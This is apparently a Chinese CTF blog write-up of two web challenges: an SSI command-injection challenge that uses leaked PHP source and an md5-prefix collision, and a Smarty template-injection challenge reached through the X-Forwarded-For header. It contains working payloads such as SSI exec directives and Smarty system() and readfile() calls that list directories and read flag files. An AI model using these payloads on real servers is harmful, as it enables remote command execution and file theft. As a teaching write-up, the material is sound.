[BJDCTF2020]EasySearch
这道题,就很郁闷,找了半天的源代码,始终找不到,各种可能出现的后缀和名字都用脚本扫描了没有线索。然后想了以下又继续用disreasch扫描,我还给过过滤掉不是200的返回码。尝试了git和svn泄露,放弃了,看了看WP,结果发现出现的目录居然在429返回码为index.php.swp里。吐血,这都可以,这真没办法。
<?php
ob_start();
function get_hash(){
$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times,随机选取五个字符
$content = uniqid().$random;
return sha1($content); 散列
}
header("Content-Type: text/html;charset=utf-8");
***
if(isset($_POST['username']) and $_POST['username'] != '' )
{
$admin = '6d0bc1';
if ( $admin == substr(md5($_POST['password']),0,6)) {//如果passwd中进行md5加密的前六位等于admin的值,继续往下执行
echo "<script>alert('[+] Welcome to manage system')</script>";
$file_shtml = "public/".get_hash().".shtml";
$shtml = fopen($file_shtml, "w") or die("Unable to open file!");写的方式打开
$text = '
***
***
<h1>Hello,'.$_POST['username'].'</h1>
***
***';
fwrite($shtml,$text);写入内容
fclose($shtml);关闭文件
***
echo "[!] Header error ...";
} else {
echo "<script>alert('[!] Failed')</script>";
}else
{
***
}
***
?>
通过python脚本进行碰撞找到这个字符,进行下一步的传参。
按照题目意思,修改报文传入参数发现有一个URL。
进入这个给出提示的网页
把用户名修改发现这里也随着改变,这里就是SSI的执行漏洞,我们如何利用这个漏洞呢?我查了一下shtml,这是一种可以通过语句快速度为网页修改内容的一种服务,即使用SSI(Server Side Include)的html文件扩展名,SSI(Server Side Include),通常称为“服务器端嵌入”或者叫“服务器端包含”,是一种类似于ASP的基于服务器的网页制作技术。)Web 服务器在处理网页的同时处理 SSI 指令。当 Web 服务器遇到 SSI 指令时,直接将包含文件的内容插入 HTML 网页。如果“包含文件”中包含 SSI 指令,则同时插入此文件。除了用于包含文件的基本指令之外,还可以使用 SSI 指令插入文件的相关信息
它的基本语句格式如下:
<!-- 指令名称="指令参数">
例如产生以下的情景,我感觉有这种远程命令执行就非常的危险
比如我们即将用到的:<!–#exec cmd=“ls”>
构造的值为:username=<!–#exec cmd=“ls”>&password=2305004
返回上一个目录,传入的参数为:username=<!–#exec cmd=“ls …/”>&password=2305004,查看上一级的目录内容。
传入:username=<!–#exec cmd=“cat …/flag_990c66bf85a09c664f0b6741840499b2”>&password=2305004,再访问一下网页拿到flag。
总结: 学习到新的知识感觉不错,就做了一些WEB题,感觉知识点挺多,不知道什么时候自己能独立解决一道新的知识点题目。
CISCN2019 华东南赛区Web11
打开题目所给网址
模板技术,将php和html分开的技术。常用的模板引擎,smarty、template、fxl template、dwoo,其中,smarty是功能最强大,最常用的。Smarty是一个php的模板引擎技术,提供让程序逻辑与页面显示代码分开的功能。特点,速度快,编译型,缓存技术,插件技术,强大的表现逻辑。
看了一会发现没有太多信息直接抓包
看到了这个响应报文,发现这个IP居然是我真机的IP,根据题目提醒那估计是通过XFF实现,添加XFF头并且进行修改,验证了我的想法。
既然如此这个IP受我们的XFF头报文控制,我尝试着修改一下这里面的内容,存在SSTI漏洞,可以通过基于模板的注入,实现命令执行。
打开当前目录
发现有flag文件,直接cat读取
Smarty模板的常用注入语句
{if phpinfo()}{/if} 查看配置
{if system('ls')}{/if} 当前目录有哪些文件
{ readfile('/flag') } 读取lfag文件
{if show_source('/flag')}{/if} 读取lfag文件
{if system('cat ../../../flag')}{/if} 跨目录读取flag文件
总结: 学习到了基于Smarty模板的注入,对于此学习了一篇扩展相关知识点的博客,受益匪浅。博客地址: PHP的模板注入(Smarty模板).